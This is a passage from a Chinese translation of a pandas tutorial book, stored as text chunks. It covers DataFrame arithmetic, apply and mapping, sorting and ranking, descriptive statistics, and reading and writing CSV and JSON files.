0.0 1.0 2.0 3.0 1 4.0 5.0 6.0 7.0 149 2 8.0 9.0 10.0 11.0 In [169]: df2 Out[169]: a b c d e 0 0.0 1.0 2.0 3.0 4.0 1 5.0 NaN 7.0 8.0 9.0 2 10.0 11.0 12.0 13.0 14.0 3 15.0 16.0 17.0 18.0 19.0 将它们相加时，没有重叠的位置就会产生NA值： In [170]: df1 + df2 Out[170]: a b c d e 0 0.0 2.0 4.0 6.0 NaN 1 9.0 NaN 13.0 15.0 NaN 2 18.0 20.0 22.0 24.0 NaN 3 NaN NaN NaN NaN NaN 使用df1的add方法，传入df2以及一个fill_value参数： In [171]: df1.add(df2, fill_value=0) Out[171]: a b c d e 0 0.0 2.0 4.0 6.0 4.0 1 9.0 5.0 13.0 15.0 9.0 2 18.0 20.0 22.0 24.0 14.0 3 15.0 16.0 17.0 18.0 19.0 表5-5列出了Series和DataFrame的算术方法。"},
    {"text": "因此这两个语句是等价的： In [172]: 1 / df1 Out[172]: a b c d 0 inf 1.000000 0.500000 0.333333 1 0.250000 0.200000 0.166667 0.142857 2 0.125000 0.111111 0.100000 0.090909 In [173]: df1.rdiv(1) Out[173]: a b c d 0 inf 1.000000 0.500000 0.333333 1 0.250000 0.200000 0.166667 0.142857 2 0.125000 0.111111 0.100000 0.090909 150 与此类似，在对Series或DataFrame重新索引时，也可以指定一个填充值： In [174]: df1.reindex(columns=df2.columns, fill_value=0) Out[174]: a b c d e 0 0.0 1.0 2.0 3.0 0 1 4.0 5.0 6.0 7.0 0 2 8.0 9.0 10.0 11.0 0 DataFrame 和 Series 之间的运算 跟不同维度的NumPy数组一样，DataFrame和Series之间算术运算也是有明确规定的。"},
    {"text": "先来看一 个具有启发性的例子，计算一个二维数组与其某行之间的差： In [175]: arr = np.arange(12.).reshape((3, 4)) In [176]: arr Out[176]: array([[ 0., 1., 2., 3.], [ 4., 5., 6., 7.], [ 8., 9., 10., 11.]]) In [177]: arr[0] Out[177]: array([ 0., 1., 2., 3.]) In [178]: arr - arr[0] Out[178]: array([[ 0., 0., 0., 0.], [ 4., 4., 4., 4.], [ 8., 8., 8., 8.]]) 151 当我们从arr减去arr[0]，每一行都会执行这个操作。"},
    {"text": "DataFrame和Series之间的运算差不多也是如此： In [179]: frame = pd.DataFrame(np.arange(12.).reshape((4, 3)), .....: columns=list('bde'), .....: index=['Utah', 'Ohio', 'Texas', 'Oregon']) In [180]: series = frame.iloc[0] In [181]: frame Out[181]: b d e Utah 0.0 1.0 2.0 Ohio 3.0 4.0 5.0 Texas 6.0 7.0 8.0 Oregon 9.0 10.0 11.0 In [182]: series Out[182]: b 0.0 d 1.0 e 2.0 Name: Utah, dtype: float64 默认情况下，DataFrame和Series之间的算术运算会将Series的索引匹配到DataFrame的列，然后 沿着行一直向下广播： In [183]: frame - series Out[183]: b d e Utah 0.0 0.0 0.0 Ohio 3.0 3.0 3.0 Texas 6.0 6.0 6.0 Oregon 9.0 9.0 9.0 如果某个索引值在DataFrame的列或Series的索引中找不到，则参与运算的两个对象就会被重新索 引以形成并集： In [184]: series2 = pd.Series(range(3), index=['b', 'e', 'f']) In [185]: frame + series2 Out[185]: b d e f Utah 0.0 NaN 3.0 NaN Ohio 3.0 NaN 6.0 NaN Texas 6.0 NaN 9.0 NaN 152 Oregon 9.0 NaN 12.0 NaN 如果你希望匹配行且在列上广播，则必须使用算术运算方法。 例如： In [186]: series3 = frame['d'] In [187]: frame Out[187]: b d e Utah 0.0 1.0 2.0 Ohio 3.0 4.0 5.0 Texas 6.0 7.0 8.0 Oregon 9.0 10.0 11.0 In [188]: series3 Out[188]: Utah 1.0 Ohio 4.0 Texas 7.0 Oregon 10.0 Name: d, dtype: float64 In [189]: frame.sub(series3, axis='index') Out[189]: b d e Utah -1.0 0.0 1.0 Ohio -1.0 0.0 1.0 Texas -1.0 0.0 1.0 Oregon -1.0 0.0 1.0 传入的轴号就是希望匹配的轴。"},
    {"text": "函数应用和映射 NumPy的ufuncs（元素级数组方法）也可用于操作pandas对象： In [190]: frame = pd.DataFrame(np.random.randn(4, 3), columns=list('bde'), .....: index=['Utah', 'Ohio', 'Texas', 'Oregon']) In [191]: frame Out[191]: b d e Utah -0.204708 0.478943 -0.519439 Ohio -0.555730 1.965781 1.393406 Texas 0.092908 0.281746 0.769023 153 Oregon 1.246435 1.007189 -1.296221 In [192]: np.abs(frame) Out[192]: b d e Utah 0.204708 0.478943 0.519439 Ohio 0.555730 1.965781 1.393406 Texas 0.092908 0.281746 0.769023 Oregon 1.246435 1.007189 1.296221 另一个常见的操作是，将函数应用到由各列或行所形成的一维数组上。"},
    {"text": "DataFrame的apply方法即 可实现此功能： In [193]: f = lambda x: x.max() - x.min() In [194]: frame.apply(f) Out[194]: b 1.802165 d 1.684034 e 2.689627 dtype: float64 这里的函数f，计算了一个Series的最大值和最小值的差，在frame的每列都执行了一次。"},
    {"text": "如果传递axis='columns'到apply，这个函数会在每行执行： In [195]: frame.apply(f, axis='columns') Out[195]: Utah 0.998382 Ohio 2.521511 Texas 0.676115 Oregon 2.542656 dtype: float64 许多最为常见的数组统计功能都被实现成DataFrame的方法（如sum和mean），因此无需使用 apply方法。 传递到apply的函数不是必须返回一个标量，还可以返回由多个值组成的Series： In [196]: def f(x): .....: return pd.Series([x.min(), x.max()], index=['min', 'max']) In [197]: frame.apply(f) Out[197]: b d e 154 min -0.555730 0.281746 -1.296221 max 1.246435 1.965781 1.393406 元素级的Python函数也是可以用的。 假如你想得到frame中各个浮点值的格式化字符串，使用 applymap即可： In [198]: format = lambda x: '%.2f' % x In [199]: frame.applymap(format) Out[199]: b d e Utah -0.20 0.48 -0.52 Ohio -0.56 1.97 1.39 Texas 0.09 0.28 0.77 Oregon 1.25 1.01 -1.30 之所以叫做applymap，是因为Series有一个用于应用元素级函数的map方法： In [200]: frame['e'].map(format) Out[200]: Utah -0.52 Ohio 1.39 Texas 0.77 Oregon -1.30 Name: e, dtype: object 排序和排名 根据条件对数据集排序（sorting）也是一种重要的内置运算。 要对行或列索引进行排序（按字典顺 序），可使用sort_index方法，它将返回一个已排序的新对象： In [201]: obj = pd.Series(range(4), index=['d', 'a', 'b', 'c']) In [202]: obj.sort_index() Out[202]: a 1 b 2 c 3 d 0 dtype: int64 对于DataFrame，则可以根据任意一个轴上的索引进行排序： In [203]: frame = pd.DataFrame(np.arange(8).reshape((2, 4)), 155 .....: index=['three', 'one'], .....: columns=['d', 'a', 'b', 'c']) In [204]: frame.sort_index() Out[204]: d a b c one 4 5 6 7 three 0 1 2 3 In [205]: frame.sort_index(axis=1) Out[205]: a b c d three 1 2 3 0 one 5 6 7 4 数据默认是按升序排序的，但也可以降序排序： In [206]: frame.sort_index(axis=1, ascending=False) Out[206]: d c b a three 0 3 2 1 one 4 7 6 5 若要按值对Series进行排序，可使用其sort_values方法： In [207]: obj = pd.Series([4, 7, -3, 2]) In [208]: obj.sort_values() Out[208]: 2 -3 3 2 0 4 1 7 dtype: int64 在排序时，任何缺失值默认都会被放到Series的末尾： In [209]: obj = pd.Series([4, np.nan, 7, np.nan, -3, 2]) In [210]: obj.sort_values() Out[210]: 4 -3.0 5 2.0 0 4.0 2 7.0 1 NaN 156 3 NaN dtype: float64 当排序一个DataFrame时，你可能希望根据一个或多个列中的值进行排序。 将一个或多个列的名字 传递给sort_values的by选项即可达到该目的： In [211]: frame = pd.DataFrame({'b': [4, 7, -3, 2], 'a': [0, 1, 0, 1]}) In [212]: frame Out[212]: a b 0 0 4 1 1 7 2 0 -3 3 1 2 In [213]: frame.sort_values(by='b') Out[213]: a b 2 0 -3 3 1 2 0 0 4 1 1 7 要根据多个列进行排序，传入名称的列表即可： In [214]: frame.sort_values(by=['a', 'b']) Out[214]: a b 2 0 -3 0 0 4 3 1 2 1 1 7 排名会从1开始一直到数组中有效数据的数量。"},
    {"text": "默认 情况下，rank是通过“为各组分配一个平均排名”的方式破坏平级关系的： In [215]: obj = pd.Series([7, -5, 7, 4, 2, 0, 4]) In [216]: obj.rank() Out[216]: 0 6.5 1 1.0 2 6.5 3 4.5 4 3.0 5 2.0 157 6 4.5 dtype: float64 也可以根据值在原数据中出现的顺序给出排名： In [217]: obj.rank(method='first') Out[217]: 0 6.0 1 1.0 2 7.0 3 4.0 4 3.0 5 2.0 6 5.0 dtype: float64 这里，条目0和2没有使用平均排名6.5，它们被设成了6和7，因为数据中标签0位于标签2的前面。 你也可以按降序进行排名： # Assign tie values the maximum rank in the group In [218]: obj.rank(ascending=False, method='max') Out[218]: 0 2.0 1 7.0 2 2.0 3 4.0 4 5.0 5 6.0 6 4.0 dtype: float64 表5-6列出了所有用于破坏平级关系的method选项。 DataFrame可以在行或列上计算排名： In [219]: frame = pd.DataFrame({'b': [4.3, 7, -3, 2], 'a': [0, 1, 0, 1], .....: 'c': [-2, 5, 8, -2.5]}) In [220]: frame Out[220]: a b c 0 0 4.3 -2.0 1 1 7.0 5.0 2 0 -3.0 8.0 3 1 2.0 -2.5 In [221]: frame.rank(axis='columns') 158 Out[221]: a b c 0 2.0 3.0 1.0 1 1.0 3.0 2.0 2 2.0 1.0 3.0 3 2.0 3.0 1.0 带有重复标签的轴索引 直到目前为止，我所介绍的所有范例都有着唯一的轴标签（索引值）。"},
    {"text": "我们来看看下面这个简单的带有重复索引值的 Series： In [222]: obj = pd.Series(range(5), index=['a', 'a', 'b', 'b', 'c']) In [223]: obj Out[223]: a 0 a 1 b 2 b 3 c 4 dtype: int64 索引的is_unique属性可以告诉你它的值是否是唯一的： In [224]: obj.index.is_unique Out[224]: False 对于带有重复值的索引，数据选取的行为将会有些不同。"},
    {"text": "而对应单个值的，则返回一个标量值： In [225]: obj['a'] 159 Out[225]: a 0 a 1 dtype: int64 In [226]: obj['c'] Out[226]: 4 这样会使代码变复杂，因为索引的输出类型会根据标签是否有重复发生变化。"},
    {"text": "对DataFrame的行进行索引时也是如此： In [227]: df = pd.DataFrame(np.random.randn(4, 3), index=['a', 'a', 'b', 'b']) In [228]: df Out[228]: 0 1 2 a 0.274992 0.228913 1.352917 a 0.886429 -2.001637 -0.371843 b 1.669025 -0.438570 -0.539741 b 0.476985 3.248944 -1.021228 In [229]: df.loc['b'] Out[229]: 0 1 2 b 1.669025 -0.438570 -0.539741 b 0.476985 3.248944 -1.021228 5.3 汇总和计算描述统计 pandas对象拥有一组常用的数学和统计方法。"},
    {"text": "看一个简单的DataFrame： In [230]: df = pd.DataFrame([[1.4, np.nan], [7.1, -4.5], .....: [np.nan, np.nan], [0.75, -1.3]], .....: index=['a', 'b', 'c', 'd'], .....: columns=['one', 'two']) In [231]: df Out[231]: one two a 1.40 NaN b 7.10 -4.5 c NaN NaN d 0.75 -1.3 160 调用DataFrame的sum方法将会返回一个含有列的和的Series： In [232]: df.sum() Out[232]: one 9.25 two -5.80 dtype: float64 传入axis='columns'或axis=1将会按行进行求和运算： In [233]: df.sum(axis=1) Out[233]: a 1.40 b 2.60 c NaN d -0.55 NA值会自动被排除，除非整个切片（这里指的是行或列）都是NA。"},
    {"text": "通过skipna选项可以禁用该功 能： In [234]: df.mean(axis='columns', skipna=False) Out[234]: a NaN b 1.300 c NaN d -0.275 dtype: float64 表5-7列出了这些约简方法的常用选项。"},
    {"text": "有些方法（如idxmin和idxmax）返回的是间接统计（比如达到最小值或最大值的索引）： In [235]: df.idxmax() Out[235]: one b two d dtype: object 161 另一些方法则是累计型的： In [236]: df.cumsum() Out[236]: one two a 1.40 NaN b 8.50 -4.5 c NaN NaN d 9.25 -5.8 还有一种方法，它既不是约简型也不是累计型。"},
    {"text": "describe就是一个例子，它用于一次性产生多个汇 总统计： In [237]: df.describe() Out[237]: one two count 3.000000 2.000000 mean 3.083333 -2.900000 std 3.493685 2.262742 min 0.750000 -4.500000 25% 1.075000 -3.700000 50% 1.400000 -2.900000 75% 4.250000 -2.100000 max 7.100000 -1.300000 对于非数值型数据，describe会产生另外一种汇总统计： In [238]: obj = pd.Series(['a', 'a', 'b', 'c'] * 4) In [239]: obj.describe() Out[239]: count 16 unique 3 top a freq 8 dtype: object 表5-8列出了所有与描述统计相关的方法。"},
    {"text": "我们来看几个DataFrame，它们 的数据来自Yahoo!Finance的股票价格和成交量，使用的是pandas-datareader包（可以用conda或 pip安装）： conda install pandas-datareader 我使用pandas_datareader模块下载了一些股票数据： import pandas_datareader.data as web all_data = {ticker: web.get_data_yahoo(ticker) for ticker in ['AAPL', 'IBM', 'MSFT', 'GOOG']} price = pd.DataFrame({ticker: data['Adj Close'] 163 for ticker, data in all_data.items()}) volume = pd.DataFrame({ticker: data['Volume'] for ticker, data in all_data.items()}) 注意：此时Yahoo! Finance已经不存在了，因为2017年Yahoo!被Verizon收购了。"},
    {"text": "现在计算价格的百分数变化，时间序列的操作会在第11章介绍： In [242]: returns = price.pct_change() In [243]: returns.tail() Out[243]: AAPL GOOG IBM MSFT Date 2016-10-17 -0.000680 0.001837 0.002072 -0.003483 2016-10-18 -0.000681 0.019616 -0.026168 0.007690 2016-10-19 -0.002979 0.007846 0.003583 -0.002255 2016-10-20 -0.000512 -0.005652 0.001719 -0.004867 2016-10-21 -0.003930 0.003011 -0.012474 0.042096 Series的corr方法用于计算两个Series中重叠的、非NA的、按索引对齐的值的相关系数。 与此类 似，cov用于计算协方差： In [244]: returns['MSFT'].corr(returns['IBM']) Out[244]: 0.49976361144151144 In [245]: returns['MSFT'].cov(returns['IBM']) Out[245]: 8.8706554797035462e-05 因为MSTF是一个合理的Python属性，我们还可以用更简洁的语法选择列： In [246]: returns.MSFT.corr(returns.IBM) Out[246]: 0.49976361144151144 另一方面，DataFrame的corr和cov方法将以DataFrame的形式分别返回完整的相关系数或协方差 矩阵： In [247]: returns.corr() Out[247]: AAPL GOOG IBM MSFT AAPL 1.000000 0.407919 0.386817 0.389695 GOOG 0.407919 1.000000 0.405099 0.465919 IBM 0.386817 0.405099 1.000000 0.499764 MSFT 0.389695 0.465919 0.499764 1.000000 164 In [248]: returns.cov() Out[248]: AAPL GOOG IBM MSFT AAPL 0.000277 0.000107 0.000078 0.000095 GOOG 0.000107 0.000251 0.000078 0.000108 IBM 0.000078 0.000078 0.000146 0.000089 MSFT 0.000095 0.000108 0.000089 0.000215 利用DataFrame的corrwith方法，你可以计算其列或行跟另一个Series或DataFrame之间的相关系 数。 传入一个Series将会返回一个相关系数值Series（针对各列进行计算）： In [249]: returns.corrwith(returns.IBM) Out[249]: AAPL 0.386817 GOOG 0.405099 IBM 1.000000 MSFT 0.499764 dtype: float64 传入一个DataFrame则会计算按列名配对的相关系数。 这里，我计算百分比变化与成交量的相关系 数： In [250]: returns.corrwith(volume) Out[250]: AAPL -0.075565 GOOG -0.007067 IBM -0.204849 MSFT -0.092950 dtype: float64 传入axis='columns'即可按行进行计算。"},
    {"text": "看下面的例子： In [251]: obj = pd.Series(['c', 'a', 'd', 'a', 'a', 'b', 'b', 'c', 'c']) 第一个函数是unique，它可以得到Series中的唯一值数组： In [252]: uniques = obj.unique() 165 In [253]: uniques Out[253]: array(['c', 'a', 'd', 'b'], dtype=object) 返回的唯一值是未排序的，如果需要的话，可以对结果再次进行排序（uniques.sort()）。"},
    {"text": "相似 的，value_counts用于计算一个Series中各值出现的频率： In [254]: obj.value_counts() Out[254]: c 3 a 3 b 2 d 1 dtype: int64 为了便于查看，结果Series是按值频率降序排列的。 value_counts还是一个顶级pandas方法，可 用于任何数组或序列： In [255]: pd.value_counts(obj.values, sort=False) Out[255]: a 3 b 2 c 3 d 1 dtype: int64 isin用于判断矢量化集合的成员资格，可用于过滤Series中或DataFrame列中数据的子集： In [256]: obj Out[256]: 0 c 1 a 2 d 3 a 4 a 5 b 6 b 7 c 8 c dtype: object In [257]: mask = obj.isin(['b', 'c']) In [258]: mask Out[258]: 0 True 1 False 166 2 False 3 False 4 False 5 True 6 True 7 True 8 True dtype: bool In [259]: obj[mask] Out[259]: 0 c 5 b 6 b 7 c 8 c dtype: object 与isin类似的是Index.get_indexer方法，它可以给你一个索引数组，从可能包含重复值的数组到另 一个不同值的数组： In [260]: to_match = pd.Series(['c', 'a', 'b', 'b', 'c', 'a']) In [261]: unique_vals = pd.Series(['c', 'b', 'a']) In [262]: pd.Index(unique_vals).get_indexer(to_match) Out[262]: array([0, 2, 1, 1, 0, 2]) 表5-9给出了这几个方法的一些参考信息。"},
    {"text": "例如： In [263]: data = pd.DataFrame({'Qu1': [1, 3, 4, 3, 4], .....: 'Qu2': [2, 3, 1, 2, 3], .....: 'Qu3': [1, 5, 2, 4, 4]}) In [264]: data Out[264]: Qu1 Qu2 Qu3 167 0 1 2 1 1 3 3 5 2 4 1 2 3 3 2 4 4 4 3 4 将pandas.value_counts传给该DataFrame的apply函数，就会出现： In [265]: result = data.apply(pd.value_counts).fillna(0) In [266]: result Out[266]: Qu1 Qu2 Qu3 1 1.0 1.0 1.0 2 0.0 2.0 1.0 3 2.0 2.0 0.0 4 2.0 0.0 2.0 5 0.0 0.0 1.0 这里，结果中的行标签是所有列的唯一值。"},
    {"text": "首先我们来看一个以逗号分隔的（CSV）文 本文件： In [8]: !cat examples/ex1.csv a,b,c,d,message 1,2,3,4,hello 5,6,7,8,world 9,10,11,12,foo 笔记：这里，我用的是Unix的cat shell命令将文件的原始内容打印到屏幕上。"},
    {"text": "由于该文件以逗号分隔，所以我们可以使用read_csv将其读入一个DataFrame： In [9]: df = pd.read_csv('examples/ex1.csv') In [10]: df Out[10]: a b c d message 0 1 2 3 4 hello 1 5 6 7 8 world 2 9 10 11 12 foo 我们还可以使用read_table，并指定分隔符： In [11]: pd.read_table('examples/ex1.csv', sep=',') Out[11]: a b c d message 0 1 2 3 4 hello 1 5 6 7 8 world 2 9 10 11 12 foo 并不是所有文件都有标题行。 看看下面这个文件： In [12]: !cat examples/ex2.csv 1,2,3,4,hello 5,6,7,8,world 9,10,11,12,foo 读入该文件的办法有两个。 你可以让pandas为其分配默认的列名，也可以自己定义列名： 170 In [13]: pd.read_csv('examples/ex2.csv', header=None) Out[13]: 0 1 2 3 4 0 1 2 3 4 hello 1 5 6 7 8 world 2 9 10 11 12 foo In [14]: pd.read_csv('examples/ex2.csv', names=['a', 'b', 'c', 'd', 'message']) Out[14]: a b c d message 0 1 2 3 4 hello 1 5 6 7 8 world 2 9 10 11 12 foo 假设你希望将message列做成DataFrame的索引。 你可以明确表示要将该列放到索引4的位置上， 也可以通过index_col参数指定\"message\"： In [15]: names = ['a', 'b', 'c', 'd', 'message'] In [16]: pd.read_csv('examples/ex2.csv', names=names, index_col='message') Out[16]: a b c d message hello 1 2 3 4 world 5 6 7 8 foo 9 10 11 12 如果希望将多个列做成一个层次化索引，只需传入由列编号或列名组成的列表即可： In [17]: !cat examples/csv_mindex.csv key1,key2,value1,value2 one,a,1,2 one,b,3,4 one,c,5,6 one,d,7,8 two,a,9,10 two,b,11,12 two,c,13,14 two,d,15,16 In [18]: parsed = pd.read_csv('examples/csv_mindex.csv', ....: index_col=['key1', 'key2']) In [19]: parsed Out[19]: value1 value2 171 key1 key2 one a 1 2 b 3 4 c 5 6 d 7 8 two a 9 10 b 11 12 c 13 14 d 15 16 有些情况下，有些表格可能不是用固定的分隔符去分隔字段的（比如空白符或其它模式）。 看看下 面这个文本文件： In [20]: list(open('examples/ex3.txt')) Out[20]: [' A B C\\n', 'aaa -0.264438 -1.026059 -0.619500\\n', 'bbb 0.927272 0.302904 -0.032399\\n', 'ccc -0.264273 -0.386314 -0.217601\\n', 'ddd -0.871858 -0.348382 1.100491\\n'] 虽然可以手动对数据进行规整，这里的字段是被数量不同的空白字符间隔开的。"},
    {"text": "可以用正则表达式表达为\\s+，于是有： In [21]: result = pd.read_table('examples/ex3.txt', sep='\\s+') In [22]: result Out[22]: A B C aaa -0.264438 -1.026059 -0.619500 bbb 0.927272 0.302904 -0.032399 ccc -0.264273 -0.386314 -0.217601 ddd -0.871858 -0.348382 1.100491 这里，由于列名比数据行的数量少，所以read_table推断第一列应该是DataFrame的索引。"},
    {"text": "比 如说，你可以用skiprows跳过文件的第一行、第三行和第四行： In [23]: !cat examples/ex4.csv # hey! a,b,c,d,message # just wanted to make things more difficult for you # who reads CSV files with computers, anyway? 1,2,3,4,hello 5,6,7,8,world 172 9,10,11,12,foo In [24]: pd.read_csv('examples/ex4.csv', skiprows=[0, 2, 3]) Out[24]: a b c d message 0 1 2 3 4 hello 1 5 6 7 8 world 2 9 10 11 12 foo 缺失值处理是文件解析任务中的一个重要组成部分。"},
    {"text": "默认情况下，pandas会用一组经常出现的标记值进行识别，比如NA及 NULL： In [25]: !cat examples/ex5.csv something,a,b,c,d,message one,1,2,3,4,NA two,5,6,,8,world three,9,10,11,12,foo In [26]: result = pd.read_csv('examples/ex5.csv') In [27]: result Out[27]: something a b c d message 0 one 1 2 3.0 4 NaN 1 two 5 6 NaN 8 world 2 three 9 10 11.0 12 foo In [28]: pd.isnull(result) Out[28]: something a b c d message 0 False False False False False True 1 False False False True False False 2 False False False False False False na_values可以用一个列表或集合的字符串表示缺失值： In [29]: result = pd.read_csv('examples/ex5.csv', na_values=['NULL']) In [30]: result Out[30]: something a b c d message 0 one 1 2 3.0 4 NaN 1 two 5 6 NaN 8 world 2 three 9 10 11.0 12 foo 字典的各列可以使用不同的NA标记值： 173 In [31]: sentinels = {'message': ['foo', 'NA'], 'something': ['two']} In [32]: pd.read_csv('examples/ex5.csv', na_values=sentinels) Out[32]: something a b c d message 0 one 1 2 3.0 4 NaN 1 NaN 5 6 NaN 8 world 2 three 9 10 11.0 12 NaN 表6-2列出了pandas.read_csv和pandas.read_table常用的选项。"},
    {"text": "174 逐块读取文本文件 在处理很大的文件时，或找出大文件中的参数集以便于后续处理时，你可能只想读取文件的一小部 分或逐块对文件进行迭代。"},
    {"text": "在看大文件之前，我们先设置pandas显示地更紧些： In [33]: pd.options.display.max_rows = 10 然后有： In [34]: result = pd.read_csv('examples/ex6.csv') In [35]: result Out[35]: one two three four key 0 0.467976 -0.038649 -0.295344 -1.824726 L 1 -0.358893 1.404453 0.704965 -0.200638 B 2 -0.501840 0.659254 -0.421691 -0.057688 G 3 0.204886 1.074134 1.388361 -0.982404 R 4 0.354628 -0.133116 0.283763 -0.837063 Q ... ... ... ... ... .. 9995 2.311896 -0.417070 -1.409599 -0.515821 L 9996 -0.479893 -0.650419 0.745152 -0.646038 E 9997 0.523331 0.787112 0.486066 1.093156 K 9998 -0.362559 0.598894 -1.843201 0.887292 G 9999 -0.096376 -1.012999 -0.657431 -0.573315 0 [10000 rows x 5 columns] If you want to only read a small 如果只想读取几行（避免读取整个文件），通过nrows进行指定即可： In [36]: pd.read_csv('examples/ex6.csv', nrows=5) Out[36]: one two three four key 175 0 0.467976 -0.038649 -0.295344 -1.824726 L 1 -0.358893 1.404453 0.704965 -0.200638 B 2 -0.501840 0.659254 -0.421691 -0.057688 G 3 0.204886 1.074134 1.388361 -0.982404 R 4 0.354628 -0.133116 0.283763 -0.837063 Q 要逐块读取文件，可以指定chunksize（行数）： In [874]: chunker = pd.read_csv('ch06/ex6.csv', chunksize=1000) In [875]: chunker Out[875]: <pandas.io.parsers.TextParser at 0x8398150> read_csv所返回的这个TextParser对象使你可以根据chunksize对文件进行逐块迭代。 比如说，我 们可以迭代处理ex6.csv，将值计数聚合到\"key\"列中，如下所示： chunker = pd.read_csv('examples/ex6.csv', chunksize=1000) tot = pd.Series([]) for piece in chunker: tot = tot.add(piece['key'].value_counts(), fill_value=0) tot = tot.sort_values(ascending=False) 然后有： In [40]: tot[:10] Out[40]: E 368.0 X 364.0 L 346.0 O 343.0 Q 340.0 M 338.0 J 337.0 F 335.0 K 334.0 H 330.0 dtype: float64 TextParser还有一个get_chunk方法，它使你可以读取任意大小的块。"},
    {"text": "我们再来看看之前读过的一个CSV文件： 176 In [41]: data = pd.read_csv('examples/ex5.csv') In [42]: data Out[42]: something a b c d message 0 one 1 2 3.0 4 NaN 1 two 5 6 NaN 8 world 2 three 9 10 11.0 12 foo 利用DataFrame的to_csv方法，我们可以将数据写到一个以逗号分隔的文件中： In [43]: data.to_csv('examples/out.csv') In [44]: !cat examples/out.csv ,something,a,b,c,d,message 0,one,1,2,3.0,4, 1,two,5,6,,8,world 2,three,9,10,11.0,12,foo 当然，还可以使用其他分隔符（由于这里直接写出到sys.stdout，所以仅仅是打印出文本结果而 已）： In [45]: import sys In [46]: data.to_csv(sys.stdout, sep='|') |something|a|b|c|d|message 0|one|1|2|3.0|4| 1|two|5|6||8|world 2|three|9|10|11.0|12|foo 缺失值在输出结果中会被表示为空字符串。 你可能希望将其表示为别的标记值： In [47]: data.to_csv(sys.stdout, na_rep='NULL') ,something,a,b,c,d,message 0,one,1,2,3.0,4,NULL 1,two,5,6,NULL,8,world 2,three,9,10,11.0,12,foo 如果没有设置其他选项，则会写出行和列的标签。 当然，它们也都可以被禁用： In [48]: data.to_csv(sys.stdout, index=False, header=False) one,1,2,3.0,4, two,5,6,,8,world three,9,10,11.0,12,foo 177 此外，你还可以只写出一部分的列，并以你指定的顺序排列： In [49]: data.to_csv(sys.stdout, index=False, columns=['a', 'b', 'c']) a,b,c 1,2,3.0 5,6, 9,10,11.0 Series也有一个to_csv方法： In [50]: dates = pd.date_range('1/1/2000', periods=7) In [51]: ts = pd.Series(np.arange(7), index=dates) In [52]: ts.to_csv('examples/tseries.csv') In [53]: !cat examples/tseries.csv 2000-01-01,0 2000-01-02,1 2000-01-03,2 2000-01-04,3 2000-01-05,4 2000-01-06,5 2000-01-07,6 处理分隔符格式 大部分存储在磁盘上的表格型数据都能用pandas.read_table进行加载。"},
    {"text": "为了说明这些 基本工具，看看下面这个简单的CSV文件： In [54]: !cat examples/ex7.csv \"a\",\"b\",\"c\" \"1\",\"2\",\"3\" \"1\",\"2\",\"3\" 对于任何单字符分隔符文件，可以直接使用Python内置的csv模块。"},
    {"text": "将任意已打开的文件或文件型 的对象传给csv.reader： import csv f = open('examples/ex7.csv') reader = csv.reader(f) 178 对这个reader进行迭代将会为每行产生一个元组（并移除了所有的引号）：对这个reader进行迭代 将会为每行产生一个元组（并移除了所有的引号）： In [56]: for line in reader: ....: print(line) ['a', 'b', 'c'] ['1', '2', '3'] ['1', '2', '3'] 现在，为了使数据格式合乎要求，你需要对其做一些整理工作。"},
    {"text": "首先，读取文 件到一个多行的列表中： In [57]: with open('examples/ex7.csv') as f: ....: lines = list(csv.reader(f)) 然后，我们将这些行分为标题行和数据行： In [58]: header, values = lines[0], lines[1:] 然后，我们可以用字典构造式和zip(*values)，后者将行转置为列，创建数据列的字典： In [59]: data_dict = {h: v for h, v in zip(header, zip(*values))} In [60]: data_dict Out[60]: {'a': ('1', '1'), 'b': ('2', '2'), 'c': ('3', '3')} CSV文件的形式有很多。 只需定义csv.Dialect的一个子类即可定义出新格式（如专门的分隔符、字 符串引用约定、行结束符等）： class my_dialect(csv.Dialect): lineterminator = '\\n' delimiter = ';' quotechar = '\"' quoting = csv.QUOTE_MINIMAL reader = csv.reader(f, dialect=my_dialect) 各个CSV语支的参数也可以用关键字的形式提供给csv.reader，而无需定义子类： reader = csv.reader(f, delimiter='|') 可用的选项（csv.Dialect的属性）及其功能如表6-3所示。"},
    {"text": "它接受一个已打开且可写的文件对象以及跟 csv.reader相同的那些语支和格式化选项： with open('mydata.csv', 'w') as f: writer = csv.writer(f, dialect=my_dialect) writer.writerow(('one', 'two', 'three')) writer.writerow(('1', '2', '3')) writer.writerow(('4', '5', '6')) writer.writerow(('7', '8', '9')) JSON 数据 JSON（JavaScript Object Notation的简称）已经成为通过HTTP请求在Web浏览器和其他应用程 序之间发送数据的标准格式之一。"},
    {"text": "下面是一个例子： obj = \"\"\" {\"name\": \"Wes\", \"places_lived\": [\"United States\", \"Spain\", \"Germany\"], \"pet\": null, \"siblings\": [{\"name\": \"Scott\", \"age\": 30, \"pets\": [\"Zeus\", \"Zuko\"]}, {\"name\": \"Katie\", \"age\": 38, 180 \"pets\": [\"Sixes\", \"Stache\", \"Cisco\"]}] } \"\"\" 除其空值null和一些其他的细微差别（如列表末尾不允许存在多余的逗号）之外，JSON非常接近 于有效的Python代码。"},
    {"text": "通过json.loads即可将JSON字符串转换成Python形式： In [62]: import json In [63]: result = json.loads(obj) In [64]: result Out[64]: {'name': 'Wes', 'pet': None, 'places_lived': ['United States', 'Spain', 'Germany'], 'siblings': [{'age': 30, 'name': 'Scott', 'pets': ['Zeus', 'Zuko']}, {'age': 38, 'name': 'Katie', 'pets': ['Sixes', 'Stache', 'Cisco']}]} json.dumps则将Python对象转换成JSON格式： In [65]: asjson = json.dumps(result) 如何将（一个或一组）JSON对象转换为DataFrame或其他便于分析的数据结构就由你决定了。 最 简单方便的方式是：向DataFrame构造器传入一个字典的列表（就是原先的JSON对象），并选取 数据字段的子集： In [66]: siblings = pd.DataFrame(result['siblings'], columns=['name', 'age']) In [67]: siblings Out[67]: name age 0 Scott 30 1 Katie 38 pandas.read_json可以自动将特别格式的JSON数据集转换为Series或DataFrame。 例如： In [68]: !cat examples/example.json [{\"a\": 1, \"b\": 2, \"c\": 3}, {\"a\": 4, \"b\": 5, \"c\": 6}, {\"a\": 7, \"b\": 8, \"c\": 9}] 181 pandas.read_json的默认选项假设JSON数组中的每个对象是表格中的一行： In [69]: data = pd.read_json('examples/example.json') In [70]: data Out[70]: a b c 0 1 2 3 1 4 5 6 2 7 8 9 第7章中关于USDA Food Database的那个例子进一步讲解了JSON数据的读取和处理（包括嵌套 记录）。 如果你需要将数据从pandas输出到JSON，可以使用to_json方法： In [71]: print(data.to_json()) {\"a\":{\"0\":1,\"1\":4,\"2\":7},\"b\":{\"0\":2,\"1\":5,\"2\":8},\"c\":{\"0\":3,\"1\":6,\"2\":9}} In [72]: print(data.to_json(orient='records')) 